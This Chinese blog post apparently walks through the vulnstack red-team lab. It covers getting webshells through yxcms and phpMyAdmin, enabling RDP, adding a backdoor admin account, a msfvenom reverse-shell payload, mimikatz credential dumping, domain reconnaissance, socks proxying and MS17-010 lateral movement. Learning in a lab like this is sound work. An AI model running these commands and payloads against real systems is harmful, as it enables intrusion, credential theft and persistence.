ATT&CK实战系列——红队实战(一)
一、环境搭建
1.1环境搭建测试
最近想要开始学习内网渗透,搜集了一些教程,准备先实验一个vulnstack靶机,熟悉一下内网渗透操作再学习基础知识。
靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
压缩包中的win7为VM1,win2003为VM2,win2008为VM3,拓扑图如下所示:
kali设置成NAT模式,win7网络适配器1设置成自定义(VMnet1仅主机模式),网络适配器2设置成NAT模式,win2003、win2008 网络适配器设置成自定义(VMnet1仅主机模式)。主机默认开机密码都是hongrisec@2019,手动在win7的c盘下开启phpstudy。
设置完毕后VM1、VM2、VM3就在同一内网中了,只有VM1web服务器能够访问内网,所以要想访问win2008和win2003服务器必须要先拿下win7服务器,用它做跳板进内网进行横向渗透。
登录就要修改密码,在这记录一下改成 shashihoukaixuea2020!(万一哪天又翻出来玩呢)
攻击机:kali ip:192.168.136.128 / 物理机 ip:192.168.136.1
win7 内网ip:192.168.52.143 外网ip:192.168.136.129
win2003 ip:192.168.52.141
win2008 ip:192.168.52.138
1.2信息收集
nmap扫一下可以看到win7开放了80端口,访问一下得知是yxcms,百度下关于yxcms的漏洞 https://www.freebuf.com/column/162886.html 都是需要后台才可以getshell的
二、漏洞利用(两种getshell方式)
2.1yxcms后台getshell
打开默认后台 http://192.168.136.129/yxcms//index.php?r=admin/index/login 爆破一下,admin 123456 登进后台。
在前台模板->管理模板文件->index_index.php处编辑,插入一句话木马(物理主机访问虚拟机时不用代理)
蚁剑连接即可获得shell(蚁剑不用代理)
2.2phpmyadmin后台getshell
此时先不往下进行,既然是靶机,就多去尝试一下发掘它其他的漏洞,扫描一下目录,发现有phpmyadmin,root/root成功登陆。
用开启全局日志的方式getshell,在SQL语句部分执行这两条命令:
set global general_log=on;# 开启日志 set global general_log_file='C:/phpstudy/www/yxcms/v01cano.php';# 设置日志位置为网站目录
然后 SHOW VARIABLES LIKE '%general%' 查看一下,命令成功执行
此时执行 select "<?php eval($_POST[apple]);?>"; 语句即可getshell
三、内网渗透
3.1尝试远程登录
查看当前用户权限,因为一般拿下window的话都会尝试去连接它的远程桌面,所以再查看一下3389端口开放情况
没有回显,即3389并没有开启,我们使用以下命令开启它(win7、win2003、winxp),运行后显示3389端口已经成功开启(关闭命令把如下0都换成1):
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
添加用户
net user test @!FuckSEC!@ /add # 添加账户密码 net localgroup administrators test /add # 给test账户添加为管理员权限 net user test # 查询是否成功添加test用户
使用账号:test,密码:@!FuckSEC!@ 登录远程桌面。但是登陆失败,nmap扫描3389端口发现状态为filtered。查看win7,防火墙开启了阻止所有与未在允许程序列表中的程序的连接,换句话说,设置了白名单,只能本地连接。
此时思路一般如下:
1.反弹一个msf的shell回来,尝试关闭防火墙
2.尝试使用隧道连接3389
因为是打靶机,练习为主,两种方式都尝试一下
3.2msf反弹shell
尝试第一种方式反弹一个msf的shell。msf生成shell.exe,用phpmyadmin获得的shell上传至win2003,再在msf设置监听,在蚁剑上执行shell.exe,可以看到msf成功获得一个meterpreter
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.128 LPORT=4444 -f exe > shell.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of exe file: 73802 bytes
尝试基础提权成功,关闭目标机防火墙(不用提权也可以关防火墙),此时便可以成功连接目标主机了
3.3使用隧道连接3389
尝试第二种方式连接3389,在Sunny-Ngrok的官网 https://www.ngrok.cc/ 注册一个账号(可以通过这个软件实现使用外链访问电脑本地项目的功能),登录之后选择隧道管理->开通隧道->选择一个服务器(frp或者ngrok)->开通隧道并获得一个隧道id->下载客户端->打开客户端启动工具->输入隧道id->本地远程登录。
开通隧道时隧道名称随意写,本地端口写想要转发出去的计算机ip及端口(可以为局域网内任意机器映射,这里填入想要转发的win7的ip及端口)
打开Sunny-Ngrok启动工具,输入隧道id,显示成功连接
本地填入域名端口远程连接,可以成功登陆,关闭防火墙(Sunny-Ngrok启动工具需要一直开着)
因为远程登录会断开该主机当前的连接,为了不惊动管理员,这里不远程登录了
3.4mimikatz获取账号密码
加载mimikatz模块,加载模块前需要先将meterpreter迁移到64位的进程,而且该进程也需要是system权限运行的
migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords
ps命令查看进程ID,一般选择explorer.exe对应的PID,但是这里它不是system权限,选择注入其他合法进程
成功获得账号 Administrator 密码 shashihoukaixuea2020!
3.5派生CobaltStrike权限
cs相关操作的笔记写在 https://www.cnblogs.com/wkzb/p/12431487.html 我的另一篇博客
(因为这个靶机不是一口气做完的,网络环境变化,这里截图win7的ip是192.168.136.130)
3.6域信息收集
渗透测试的本质是信息收集,先记录一些常用命令
net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器 net user /domain #查看域用户 net view /domain #查看有几个域 ipconfig /all #查询本机IP段,所在域等 net config Workstation #当前计算机名,全名,用户名,系统版本,工作站域,登陆域 net user #本机用户列表 net group "domain computers" /domain #查看域内所有的主机名 net group "domain admins" /domain #查看域管理员 net group "domain controllers" /domain #查看域控 net localgroup administrators #本机管理员[通常含有域用户] net user 用户名 /domain #获取指定用户的账户信息 net group /domain #查询域里面的工作组 net group 组名 /domain #查询域中的某工作组
ipconfig /all看到有内网ip,有域
查询域列表
查询同域机器
判断主域
查询域用户
一些命令在msf的shell没能成功执行,但在cs下可以,补充一下信息
查询当前计算机名、计算机全名、用户名、工作站、软件版本、工作站域、工作站域 DNS 名称、登录域
显示当前域中的计算机列表(owa的ip是192.168.52.138,还不清楚为什么显示这个ip,可能是环境配置的问题)
整理一下信息
域:god.org
域内有三个用户:Administrator、ligang、liukaifeng01
域内三台主机:ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)、OWA
域控:OWA(192.168.52.138)
win7内网ip:192.168.52.143
四、横向移动
4.1添加路由、挂Socks4a代理
添加路由的目的是为了让MSF其他模块能访问内网的其他主机,即52网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递
添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务
(添加路由一定要在挂代理之前,因为代理需要用到路由功能)
添加内网路由
arp -a查看一下所有接口的当前 ARP 缓存表
设置代理,设置成功后打开其他程序需前加上proxychains
msf > use auxiliary/server/socks4a #添加socks4a代理 msf auxiliary(server/socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 9999 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(server/socks4a) > set srvport 1080#设置端口 srvport => 1080 msf auxiliary(server/socks4a) > run
然后打开/etc/proxychains.conf(本应该把代理信息加到最后一行,但是尝试几次都不能成功代理,就只好修改这一行信息了,原始端口是9050,改为我们设置的1080)
测试一下可以成功访问192.168.52.0网段
4.2拿下第二台主机
扫描一下VM2(192.168.52.141)proxychains nmap -p 1-1000 -Pn -sT 192.168.52.141
开放了445端口,所以利用 use auxiliary/scanner/smb/smb_version 可以扫描系统版本,扫描结果是win2003
ms08-067没打下来,可以用 use auxiliary/admin/smb/ms17_010_command 执行一些系统权限的命令,添加管理员用户尝试3389登录(先开启win2003的server服务,因为靶机一些服务没有做自启动,所以作者的漏洞列表有一些漏洞无法利用)
use auxiliary/admin/smb/ms17_010_command show options set rhosts 192.168.52.141 set command net user test @!FuckSEC!@ /add #添加用户 run #成功执行 set command net localgroup administrators test /add #管理员权限 run #成功执行
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run #成功执行
这里特别注意,因为开启3389端口命令中有两个双引号,如果整条命令外面不用单引号扩一下或者用双引号扩了,会出现一些符号闭合上的问题(困扰了一阵,问杨学长才想到问题可能出在哪)
然后使用proxychains连接他的3389 proxychains rdesktop 192.168.52.141
4.3拿下域控
域控的ip是192.168.52.138,扫描下版本是win2008
wmi拿下域控
(不会的东西太多啦,先去学一下基础,再来填这篇文章的几个坑)
参考:
https://blog.csdn.net/rlenew/article/details/104456386
https://www.anquanke.com/post/id/189940
https://blog.csdn.net/i_dont_know_a/article/details/80524362